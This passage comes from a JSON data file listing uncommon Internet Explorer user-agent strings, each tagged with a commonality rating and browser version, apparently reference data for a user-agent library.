Trident\\/4.0; BTRS100206; GTB7.4; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; msn OptimizedIE8;NLNL)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; Trident\\/7.0; LCJB; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; BOIE9;ENGB; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; MATP; MATP)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; yie8)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; MASBJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; wbx 1.0.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/5.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MDDRJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; MAAR; .NET4.0C; BRI\\/2; McAfee; BOIE9;ENUS)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; chromeframe\\/23.0.1271.97)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC LM 8; InfoPath.3; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; MATM)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident\\/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0E; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Trident\\/7.0; Touch; MALCJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; chromeframe\\/11.0.696.57)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; chromeframe\\/11.0.696.57)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.01; Windows NT 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; LCTE; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; MathPlayer 2.20; chromeframe\\/28.0.1500.95; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.3; IPH 1.1.21.4019)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; .NET CLR 1.1.4322; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; .NET4.0C; BRI\\/1; .NET CLR 1.1.4322; yie9)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/1.22 (compatible; MSIE 10.0; Windows 3.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/5.0; .NET CLR 2.0.50727; SLCC2; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; SMJB)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; chromeframe\\/32.0.1700.107)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 625) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; wbx 1.0.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; ms-office)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; BTRS124342; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; WinNT-EVU 03.12.2009; .NET4.0C; SRS_IT_E8790571B276585534AD99; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; SIMBAR={55520BFF-6820-11E2-B317-00112FA12F29}; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; IPH 1.1.21.4019; .NET CLR 2.0.50727; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; WinNT-EVI 25.02.2010; .NET4.0C; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; HotbarSearchToolbar 1.1; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAAR; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.4; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; chromeframe\\/12.0.742.112)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; MASPJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; NGD_build; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; MATPJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; rv:11.0) like Gecko,gzip(gfe)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; BOIE9;ENUSMSE)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.00; Windows 98)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; wbx 1.0.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; Trident\\/7.0; rv:11.0; Microsoft Outlook 14.0.7169)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; FBViewer-6.0.4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; FBViewer-6.0.4.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; NISSC)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; SIMBAR={BB210681-8FB0-11E2-83F4-B4FB7786AA37}; GTB7.5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI\\/1; BRI\\/2; AskTbORJ\\/5.15.23.36191)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; MAGW)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAEM; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDF)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8; MS-RTC S; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; ASJB; MAAU; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; ms-office)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BRI\\/2)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"2.0\",\"ua\":\"Mozilla\\/1.22 (compatible; MSIE 2.0; Windows 3.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; GWX:RESERVED)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\\/8.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Creative AutoUpdate v1.41.08)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; VER#99#80838556506745484971484871; Tablet PC 2.0; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; yie10; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; .NET4.0C; BRI\\/2)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident\\/4.0; Comcast Install 1.0; Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; .NET4.0C; NET_mmhpset)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; chromeframe\\/30.0.1599.101; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 12.01.2010; MS-RTC LM 8; .NET CLR 2.0.50727; lib\\/5.0\\\\0195; Engine\\/4.00195; 89670803)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; BREW 3.1.5; en )\\/800x480 Samsung SCH-U960\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; ARM; Trident\\/6.0; Touch; .NET4.0E; .NET4.0C; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; .NET4.0E; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; Trident\\/7.0; ATT-IE11; rv:11.0) like 